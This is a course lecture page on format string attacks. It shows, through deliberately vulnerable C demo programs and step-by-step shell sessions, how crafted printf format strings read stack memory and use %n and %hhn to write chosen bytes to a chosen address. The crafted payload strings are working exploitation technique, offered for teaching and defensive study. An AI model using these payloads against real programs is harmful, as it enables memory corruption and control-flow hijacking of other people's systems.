SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 20: Format String Attacks II

Table of Contents

1 Reading Memory with Format Attack

To start, let's return to the simple format example that is vulnerable:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char * argv[]){

  char *s="Go Navy!";
  int a=0xdeadbeef;
  int b=0xcafebabe;
  printf(argv[1]); // user controls the format
  printf("\n");
}

In this example, the user controls the format to the process, so they can pass in format sequences, like %#08x, or %s, or %n, and cause the printf to perform some action. The question we are concerned with first is: what is actually being accessed when we do this?

To begin, if we run this program, we can start to get a sense of what is going on:

user@si485H-base:demo$ ./format_error AAAA
AAAA
user@si485H-base:demo$ ./format_error %#08x
0xbffff754

So, if I pass a %#08x we can see that there is what seems to be an address printed out, and an address that is in the stack range. But, what is that address? Where did it come from?

1.1 Reading up the stack

Let's look at example printf() to think about how the arguments are passed to it:

void foo( ... ){
 //...
 printf("Format this: %d! And this: %s! And this too: %x", i, str, j);
 //...
}

The arguments to this function within printf's and foo's stack frame will look a little like this:

                ... 
            |-----------|
          / |  ret addr |
         /  |-----------|
        /   |   sbp     |  (foo's return addres)
       |    |-----------|
       |    |  foo      |
 foo  -|    |  local    |
stack  |    |  variables| 
rrame  |    |-----------|
       |  / |    j      |
       | /  |-----------|
       |/   |    str    |
       /\   |-----------|
      |  \  |     i     |
      |   \ |-----------|
      |    \| fmt_str   +--> "Format this: %d! ..."
printf|     |-----------|
stack-|     | ret addr  |  (printf's return addres)
frame |     |-----------|
      |     |    sbp    | <- ebp
       \    |-----------|
        \   |  printf   |
         \  |  local    |
          \ |  variables| <- esp
	    '-----------'

Now if we were to change our function, to something like this and leave out the extra arguments to printf().

void foo( ... ){
 //...
 printf("Format this: %d! And this: %s! And this too: %x"); //<--- 
 //...
}

Now, we can start to get a sense of what happens in the format attack:

                ... 
            |-----------|
           /|  ret addr |
          / |-----------|
         /  |   sbp     |  (foo's return addres)
        |   |-----------|
        |   |  foo      |
 foo   -|  /|  local    |
stack    \/ |  variables| 
rrame    /\ |-----------|
        /  \| fmt_str   +--> "Format this: %d! ..."
printf /    |-----------|
stack-|     | ret addr  |  (printf's return addres)
frame |     |-----------|
      |     |    sbp    | <- ebp
       \    |-----------|
        \   |  printf   |
         \  |  local    |
          \ |  variables| <- esp
	    '-----------'

Even though we are no longer passing values to printf to use in the format, printf will reach into the stack as if they are there. The result is that, if we can control the formats to printf, we can view arbitrary values on the stack.

1.2 Reading from

As an example of this, let's return to our function, let's try and get the extra variables in main to print out. To help with this, we'll add the print_stack function so we can see where we are:

#include <stdio.h>
#include <stdlib.h>

#include "print_stack.h"

int main(int argc, char * argv[]){

  char *s="Go Navy!";
  int a=0xdeadbeef;
  int b=0xcafebabe;

  printf(argv[1]); // user controls the format
  printf("\n");
  print_stack("main",2); //<-- check out the stack here
}
user@si485H-base:demo$ ./format_error %#08x.%#08x
0xbffff754.0xbffff760
--- STACK main ---
0xbffff6c4 <ebp+0xc>: bffff754
0xbffff6c0 <ebp+0x8>: 00000002
0xbffff6bc <ebp+0x4>: b7e34a83
0xbffff6b8 <ebp>: 00000000
0xbffff6b4 <ebp-0x4>: 00000000
0xbffff6b0 <ebp-0x8>: 08048580
0xbffff6ac <ebp-0xc>: 0804865c
0xbffff6a8 <ebp-0x10>: deadbeef
0xbffff6a4 <ebp-0x14>: cafebabe
0xbffff6a0 <ebp-0x18>: b7fc53c4
0xbffff69c <ebp-0x1c>: b7e4e42d
0xbffff698 <ebp-0x20>: bffff760 <---!!!
0xbffff694 <ebp-0x24>: 00000002
0xbffff690 <ebp-0x28>: 08048665
0xbffff68c <ebp-0x2c>: 0804857e
0xbffff688 <ebp-0x30>: bffff6b8

Notice that the first value that comes out is 0xbffff754, what is that? Well some junk on the stack, but the second value, 0xbffff760, that's something. In fact we see exactly where it is. (Note, I used the '.' to seperaet each format to make it easier to read.)

Let's keep going with this little experiment:

user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x
0xbffff754.0xbffff760.0xb7e4e42d
--- STACK main ---
0xbffff6c4 <ebp+0xc>: bffff754
0xbffff6c0 <ebp+0x8>: 00000002
0xbffff6bc <ebp+0x4>: b7e34a83
0xbffff6b8 <ebp>: 00000000
0xbffff6b4 <ebp-0x4>: 00000000
0xbffff6b0 <ebp-0x8>: 08048580
0xbffff6ac <ebp-0xc>: 0804865c
0xbffff6a8 <ebp-0x10>: deadbeef
0xbffff6a4 <ebp-0x14>: cafebabe
0xbffff6a0 <ebp-0x18>: b7fc53c4
0xbffff69c <ebp-0x1c>: b7e4e42d <-- !!!
0xbffff698 <ebp-0x20>: bffff760
0xbffff694 <ebp-0x24>: 00000002
0xbffff690 <ebp-0x28>: 08048665
0xbffff68c <ebp-0x2c>: 0804857e
0xbffff688 <ebp-0x30>: bffff6b8


user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x
0xbffff744.0xbffff750.0xb7e4e42d.0xb7fc53c4
--- STACK main ---
0xbffff6b4 <ebp+0xc>: bffff744
0xbffff6b0 <ebp+0x8>: 00000002
0xbffff6ac <ebp+0x4>: b7e34a83
0xbffff6a8 <ebp>: 00000000
0xbffff6a4 <ebp-0x4>: 00000000
0xbffff6a0 <ebp-0x8>: 08048580
0xbffff69c <ebp-0xc>: 0804865c
0xbffff698 <ebp-0x10>: deadbeef
0xbffff694 <ebp-0x14>: cafebabe 
0xbffff690 <ebp-0x18>: b7fc53c4 <-- !!!
0xbffff68c <ebp-0x1c>: b7e4e42d
0xbffff688 <ebp-0x20>: bffff750
0xbffff684 <ebp-0x24>: 00000002
0xbffff680 <ebp-0x28>: 08048665
0xbffff67c <ebp-0x2c>: 0804857e
0xbffff678 <ebp-0x30>: bffff6a8


user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x.%#08x
0xbffff744.0xbffff750.0xb7e4e42d.0xb7fc53c4.0xcafebabe
--- STACK main ---
0xbffff6b4 <ebp+0xc>: bffff744
0xbffff6b0 <ebp+0x8>: 00000002
0xbffff6ac <ebp+0x4>: b7e34a83
0xbffff6a8 <ebp>: 00000000
0xbffff6a4 <ebp-0x4>: 00000000
0xbffff6a0 <ebp-0x8>: 08048580
0xbffff69c <ebp-0xc>: 0804865c
0xbffff698 <ebp-0x10>: deadbeef
0xbffff694 <ebp-0x14>: cafebabe <-- !!!
0xbffff690 <ebp-0x18>: b7fc53c4
0xbffff68c <ebp-0x1c>: b7e4e42d
0xbffff688 <ebp-0x20>: bffff750
0xbffff684 <ebp-0x24>: 00000002
0xbffff680 <ebp-0x28>: 08048665
0xbffff67c <ebp-0x2c>: 0804857e
0xbffff678 <ebp-0x30>: bffff6a8


user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x.%#08x.%#08x
0xbffff744.0xbffff750.0xb7e4e42d.0xb7fc53c4.0xcafebabe.0xdeadbeef
--- STACK main ---
0xbffff6b4 <ebp+0xc>: bffff744
0xbffff6b0 <ebp+0x8>: 00000002
0xbffff6ac <ebp+0x4>: b7e34a83
0xbffff6a8 <ebp>: 00000000
0xbffff6a4 <ebp-0x4>: 00000000
0xbffff6a0 <ebp-0x8>: 08048580
0xbffff69c <ebp-0xc>: 0804865c
0xbffff698 <ebp-0x10>: deadbeef <-- !!!
0xbffff694 <ebp-0x14>: cafebabe
0xbffff690 <ebp-0x18>: b7fc53c4
0xbffff68c <ebp-0x1c>: b7e4e42d
0xbffff688 <ebp-0x20>: bffff750
0xbffff684 <ebp-0x24>: 00000002
0xbffff680 <ebp-0x28>: 08048665
0xbffff67c <ebp-0x2c>: 0804857e
0xbffff678 <ebp-0x30>: bffff6a8


user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x
0xbffff734.0xbffff740.0xb7e4e42d.0xb7fc53c4.0xcafebabe.0xdeadbeef.0x804865c
--- STACK main ---
0xbffff6a4 <ebp+0xc>: bffff734
0xbffff6a0 <ebp+0x8>: 00000002
0xbffff69c <ebp+0x4>: b7e34a83
0xbffff698 <ebp>: 00000000
0xbffff694 <ebp-0x4>: 00000000
0xbffff690 <ebp-0x8>: 08048580
0xbffff68c <ebp-0xc>: 0804865c  <-- !!!
0xbffff688 <ebp-0x10>: deadbeef
0xbffff684 <ebp-0x14>: cafebabe
0xbffff680 <ebp-0x18>: b7fc53c4
0xbffff67c <ebp-0x1c>: b7e4e42d
0xbffff678 <ebp-0x20>: bffff740
0xbffff674 <ebp-0x24>: 00000002
0xbffff670 <ebp-0x28>: 08048665
0xbffff66c <ebp-0x2c>: 0804857e
0xbffff668 <ebp-0x30>: bffff698

Now, we can change the last format to a %s and we can see the "Go Navy string"

user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%s
0xbffff734.0xbffff740.0xb7e4e42d.0xb7fc53c4.0xcafebabe.0xdeadbeef.Go Navy!
--- STACK main ---
0xbffff6a4 <ebp+0xc>: bffff734
0xbffff6a0 <ebp+0x8>: 00000002
0xbffff69c <ebp+0x4>: b7e34a83
0xbffff698 <ebp>: 00000000
0xbffff694 <ebp-0x4>: 00000000
0xbffff690 <ebp-0x8>: 08048580
0xbffff68c <ebp-0xc>: 0804865c
0xbffff688 <ebp-0x10>: deadbeef
0xbffff684 <ebp-0x14>: cafebabe
0xbffff680 <ebp-0x18>: b7fc53c4
0xbffff67c <ebp-0x1c>: b7e4e42d
0xbffff678 <ebp-0x20>: bffff740
0xbffff674 <ebp-0x24>: 00000002
0xbffff670 <ebp-0x28>: 08048665
0xbffff66c <ebp-0x2c>: 0804857e
0xbffff668 <ebp-0x30>: bffff698

1.3 Using Formats to Your Advantage

So that was a lot of work for tacking on %'s to get to "Go Navy" before. We can do better if we leverage the formats. In particular, the argument indexes format using the $.

Recall that you can refer to a specific argument in the format, such as in this example:

printf("%1$x %1$d\n",x);

Here, we have a single argument to the format statement, but we have two formats. Each format usesin %1$* to refer to the 1'st argument so we can reference it twice. For example, the above is equivalent to the below

printf("%x %d\n",x,x);

where the value being formatted is passed twice as an argument.

Now, let's do the same thing above to get the format to print. We can count 7 total format directives until we reach the string, so we can use the %7$s to print the string with a single format directive.

user@si485H-base:demo$ ./format_error "%7\$s"
Go Navy!
--- STACK main ---
0xbffff6c4 <ebp+0xc>: bffff754
0xbffff6c0 <ebp+0x8>: 00000002
0xbffff6bc <ebp+0x4>: b7e34a83
0xbffff6b8 <ebp>: 00000000
0xbffff6b4 <ebp-0x4>: 00000000
0xbffff6b0 <ebp-0x8>: 08048580
0xbffff6ac <ebp-0xc>: 0804865c
0xbffff6a8 <ebp-0x10>: deadbeef
0xbffff6a4 <ebp-0x14>: cafebabe
0xbffff6a0 <ebp-0x18>: b7fc53c4
0xbffff69c <ebp-0x1c>: b7e4e42d
0xbffff698 <ebp-0x20>: bffff760
0xbffff694 <ebp-0x24>: 00000002
0xbffff690 <ebp-0x28>: 08048665
0xbffff68c <ebp-0x2c>: 0804857e
0xbffff688 <ebp-0x30>: bffff6b8

(Note that I had to escape the dollar symbol (\$) because $ is a special bash command.)

You'll be surprised how useful this is later.

2 Writing Memory with a Format Attack

Now that you have a sense of how we can read memory arbitrarily, it is time to unlock the true magic of the format print: writing to arbitrary memory. This may not seem possible, but it totally is and it is totally awesome. The key to writing to memory is the %n format which will save the total number of bytes formatted so far. So conceptually, if you were to format the right number of bytes (e.g., an address worth of bytes, like 0xbfff678) and then save how many bytes you formatted to the right place (e.g., the return address), then you could hijack a program! Easy, right?! Well, sometimes … we'll take it in steps.

2.1 Controlling where we write

First let's recall that the %n format works. The %n format directive will write how many bytes have been formatted to the address passed as argument that matches the %n.The challenge then is just alignment and formatting enough bytes.

To demonstrate this, we'll work with the following program:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 1024
int main(int argc, char * argv[]){
  char buf[BUF_SIZE];

  static int test_val = 0x00414141; //"AAA\0" as an int


  strncpy(buf, argv[1], BUF_SIZE);

  printf("Right: ");
  printf("%s", buf);//<------safe
  printf("\n\n");

  printf("Wrong: ");
  printf(buf);      //<------vulnerable
  printf("\n\n");

  printf("[*] test_val @ %p = %d 0x%08x\n", &test_val,test_val,test_val);

  exit(0);

}

Let's see if we can overwrite testval with any integer of our choosing. To start with, let's see if we can change 0x00414141 to 0xEEDDCCBB.

To start, we need to determine how to align everything. To do this, we'll begin by seeding our format string with something we can hunt for, like BBBB and then look to see when our formats find that. Since we are working in main, we are essentially hunting up the stack trying to find the command line argument value that is the format string we are passing in.

user@si485H-base:demo$ ./fmt_vuln BBBB
Right: BBBB

Wrong: BBBB

[*] test_val @ 0x804a02c = 4276545 0x00414141

user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x
Right: BBBB.%#08x

Wrong: BBBB.0xbffff2c0

[*] test_val @ 0x804a02c = 4276545 0x00414141

user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x.%#08x
Right: BBBB.%#08x.%#08x

Wrong: BBBB.0xbffff2b0.0x000400

[*] test_val @ 0x804a02c = 4276545 0x00414141

user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x.%#08x.%#08x
Right: BBBB.%#08x.%#08x.%#08x

Wrong: BBBB.0xbffff2b0.0x000400.0x000004

[*] test_val @ 0x804a02c = 4276545 0x00414141

user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x.%#08x.%#08x.%#08x
Right: BBBB.%#08x.%#08x.%#08x.%#08x

Wrong: BBBB.0xbffff2b0.0x000400.0x000004.0x42424242

[*] test_val @ 0x804a02c = 4276545 0x00414141

We found it, and the significance of that is really important because that means we now control one of the arguments to the format. Consider what happens when I change the last format directive to a %n.

user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x.%#08x.%#08x.%n
Right: BBBB.%#08x.%#08x.%#08x.%n

Segmentation fault (core dumped)

I get a segfault, and now you should all know that that means pay dirt for exploits. Let's see where we crashed with dmesg:

user@si485H-base:demo$ dmesg | tail -1
[4571638.361817] fmt_vuln[18555]: segfault at 42424242 ip b7e619ee sp bfffed60 error 6 in libc-2.19.so[b7e1b000+1a8000]

We crashed when we dereferenced 0x42424242, and we control that address.

user@si485H-base:demo$ ./fmt_vuln ABCD.%#08x.%#08x.%#08x.%n
Right: ABCD.%#08x.%#08x.%#08x.%n

Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[4571771.090412] fmt_vuln[18559]: segfault at 44434241 ip b7e619ee sp bfffed60 error 6 in libc-2.19.so[b7e1b000+1a8000]

user@si485H-base:demo$ ./fmt_vuln $(printf "\xef\xbe\xad\xde").%#08x.%#08x.%#08x.%n
Right: οΎ­?.%#08x.%#08x.%#08x.%n

Segmentation fault (core dumped)
user@si485H-base:demo$ dmesg | tail -1
[4571823.069638] fmt_vuln[18564]: segfault at deadbeef ip b7e619ee sp bfffed60 error 7 in libc-2.19.so[b7e1b000+1a8000]

If we control that value, it also means that we can put anything there, not just deadbeef, but a totally valid address that we want to change.

2.2 Writing a Single Byte

Now, to write a byte, let's plug into the leading B's the address of the targetvalue, which we see is 0x804a02c. We can use the command line printf to do that output:

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%n
Right: ,.%#08x.%#08x.%#08x.%n

Wrong: ,.0xbffff2b0.0x000400.0x000004.

[*] test_val @ 0x804a02c = 34 0x00000022

Great! That worked. But, we overwrote the whole target value including the A's. That's because we are writing a whole integer. What we really want to do is get it to write a single value, maybe just that null byte.

For that, we use the format directive flag h, which specifies using the half the format. So, for example, if we used %hn then we are writing the number of formatted bytes to a 2-byte short value. And if we use %hhn, then we are writing the number of formatted bytes to a 1-byte char value. For example:

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%hn
Right: ,.%#08x.%#08x.%#08x.%hn

Wrong: ,.0xbffff2b0.0x000400.0x000004.

[*] test_val @ 0x804a02c = 4259874 0x00410022
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn
Right: ,.%#08x.%#08x.%#08x.%hhn

Wrong: ,.0xbffff2b0.0x000400.0x000004.

[*] test_val @ 0x804a02c = 4276514 0x00414122

Now that, we've got that one byte written, we have to align it. We are 3 bytes off, but that is an easy fix by changing the address of where we are writing to.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn
Right: /.%#08x.%#08x.%#08x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x000004.

[*] test_val @ 0x804a02c = 574701889 0x22414141

2.3 Controlling what you write

Now that we can write a single byte, how do we control what we write? For that, we have to remember exactly what %n does, it writes the number of bytes formatted so far. And, we control how many bytes are provided to the format, so we just have to increase or decrease the total number of bytes.

That means, for every additional byte we add prior to the %n, we increase the value of the byte we write by one.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")A.%#08x.%#08x.%#08x.%hhn
Right: /A.%#08x.%#08x.%#08x.%hhn

Wrong: /A.0xbffff2b0.0x000400.0x000004.

[*] test_val @ 0x804a02c = 591479105 0x23414141

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")AA.%#08x.%#08x.%#08x.%hhn
Right: /AA.%#08x.%#08x.%#08x.%hhn

Wrong: /AA.0xbffff2b0.0x000400.0x000004.

[*] test_val @ 0x804a02c = 608256321 0x24414141

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")AAAAAAAAAAAAAAAAAAAAAAA.%#08x.%#08x.%#08x.%hhn
Right: /AAAAAAAAAAAAAAAAAAAAAAA.%#08x.%#08x.%#08x.%hhn

Wrong: /AAAAAAAAAAAAAAAAAAAAAAA.0xbffff290.0x000400.0x000004.

[*] test_val @ 0x804a02c = 960577857 0x39414141

You can already start to see a problem: Adding individual values to get the value we need can be really annoying. There's a better way, and again, it relies on the format directive flags. We can arbitrarily increase the length of an output by padding 0's. See below:

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn
Right: /.%#08x.%#08x.%#08x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x000004.

[*] test_val @ 0x804a02c = 574701889 0x22414141
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#016x.%hhn
Right: /.%#08x.%#08x.%#016x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x00000000000004.

[*] test_val @ 0x804a02c = 708919617 0x2a414141
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#022x.%hhn
Right: /.%#08x.%#08x.%#022x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x00000000000000000004.

[*] test_val @ 0x804a02c = 809582913 0x30414141
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0100x.%hhn
Right: /.%#08x.%#08x.%#0100x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004.

[*] test_val @ 0x804a02c = 2118205761 0x7e414141

Great! But, there is still one problem here. You may have noticed that, the first value we wrote to that byte was 0x22. What if we want to write a value less than 0x22? It would seem that we can only add to the format length, not decrease.

Turns out, we are still in the clear because of overflows. See what happens when I set the format length such that we format more than 256 bytes.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0228x.%hhn
Right: /.%#08x.%#08x.%#0228x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004.

[*] test_val @ 0x804a02c = -29277887 0xfe414141
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0229x.%hhn
Right: /.%#08x.%#08x.%#0229x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004.

[*] test_val @ 0x804a02c = -12500671 0xff414141
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0230x.%hhn
Right: /.%#08x.%#08x.%#0230x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004.

[*] test_val @ 0x804a02c = 4276545 0x00414141
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0231x.%hhn
Right: /.%#08x.%#08x.%#0231x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004.

[*] test_val @ 0x804a02c = 21053761 0x01414141

As we tick over for 0xff, we wrap back around to 0x00 then 0x01 and so on. Now we can full control what we write, and to where.

2.4 Writting multiple bytes

The final test is getting to write multiple bytes. Our goal is to write 0xdeabeef over the target. We are actually almost there. The first thing we need to do is to write 0xbe to the byte we were messing with before.

Doing some math, we see that we were writing 0x22. To get to 0xbe that is an additional 156 bytes in the format or so.

ser@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0156x.%hhn
Right: /.%#08x.%#08x.%#0156x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004.

[*] test_val @ 0x804a02c = -1237237439 0xb6414141

That was close. We are off by 8.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0164x.%hhn
Right: /.%#08x.%#08x.%#0164x.%hhn

Wrong: /.0xbffff2b0.0x000400.0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004.

[*] test_val @ 0x804a02c = -1103019711 0xbe414141

Ok, now we can write the next byte. We do this by adding another %hhn to the format string and again, this format directive needs to have an address filled.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")%#08x.%#08x.%#0164x.%hhn.%hhn
Right: /.%#08x.%#08x.%#0164x.%hhn.%hhn

Wrong: /.0xbffff2a0.0x000400.0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004..

[*] test_val @ 0x804a02c = -1044233919 0xc1c24141

Crap! We changed our format length. Now we got to do the whole calculation again … but as usual, there is a better way.

Instead of doing these calculations one at a time, lets take advantage of the format directives we've learned and try and be smart about things. Firsts, let's get verything setup so that we have all our %hhn formats to write to each of the bytes in the target variable.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$08x.%4\$08x.%1\$08x.%\5\$08x.%1\$08x.%\6\$08x.%1\$08x.%\7\$08x
Right: /.-,.%1$08x.%4$08x.%1$08x.%5$08x.%1$08x.%6$08x.%1$08x.%7$08x

Wrong: /.-,.bffff280.0804a02f.bffff280.0804a02e.bffff280.0804a02d.bffff280.0804a02c

[*] test_val @ 0x804a02c = 4276545 0x00414141

If you look closely at the format, you see we are doing argument indexing to shorten the format length. We now have a bunch of %x referencing the address we want to write too plus each has a leading %x format so we can adjust the leading zeros to change how much we can change the byte we are writing to that address.

Now it is just a matter of changing the %x that match the addresses we want to write to %hhn and then manipulating the number of 0's in the output.

ser@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$08x.%4\$hhn.%1\$08x.%\5\$hhn.%1\$08x.%\6\$hhn.%1\$08x.%\7\$hhn
Right: /.-,.%1$08x.%4$hhn.%1$08x.%5$hhn.%1$08x.%6$hhn.%1$08x.%7$hhn

Wrong: /.-,.bffff280..bffff280..bffff280..bffff280.

[*] test_val @ 0x804a02c = 438578744 0x1a242e38

First, we need to change 0x1a into 0xde, that requires 196 additional bytes. The first %1$08x changes into %1$0204x (that is, we were printing up to 8 leading 0's, now we need 196 more to reach 204 leading zeros).

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$08x.%\5\$hhn.%1\$08x.%\6\$hhn.%1\$08x.%\7\$hhn
Right: /.-,.%1$0204x.%4$hhn.%1$08x.%5$hhn.%1$08x.%6$hhn.%1$08x.%7$hhn

Wrong: /.-,.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..bffff280..bffff280..bffff280.

[*] test_val @ 0x804a02c = -555158788 0xdee8f2fc

Next up, we need to change 0xe8 into 0xad. That will require overflowing and coming back around, which means wee need 0xff-0xea+1 to re-zero than additional 0xad bytes to write, or 195 additional bytes. Again, considering that we started by formatting 0x8, that means we change the second %x to have 205 leading zeros.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1\$08x.%\6\$hhn.%1\$08x.%\7\$hhn
Right: /.-,.%1$0204x.%4$hhn.%1$0205x.%5$hhn.%1$08x.%6$hhn.%1$08x.%7$hhn

Wrong: /.-,.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..bffff280..bffff280.

[*] test_val @ 0x804a02c = -559040575 0xdeadb7c1

Two more to go. We have 0xb7 needs to become 0xbe. that's easy, that's an additional 7 bytes, so we need to change the next %x to use 15 leading zeros.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1\$015x.%\6\$hhn.%1\$08x.%\7\$hhn
Right: /.-,.%1$0204x.%4$hhn.%1$0205x.%5$hhn.%1$015x.%6$hhn.%1$08x.%7$hhn

Wrong: /.-,.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..0000000bffff280..bffff280.

[*] test_val @ 0x804a02c = -559038776 0xdeadbec8

Finally, we have 0xc8 that needs to become 0xef, which requires 39 additional leading zeros. So the last %x needs to be changed to 47.

user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1\$015x.%\6\$hhn.%1\$047x.%\7\$hhn
Right: /.-,.%1$0204x.%4$hhn.%1$0205x.%5$hhn.%1$015x.%6$hhn.%1$047x.%7$hhn

Wrong: /.-,.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..0000000bffff280..000000000000000000000000000000000000000bffff280.

[*] test_val @ 0x804a02c = -559038737 0xdeadbeef

And there it is: DEADBEEF!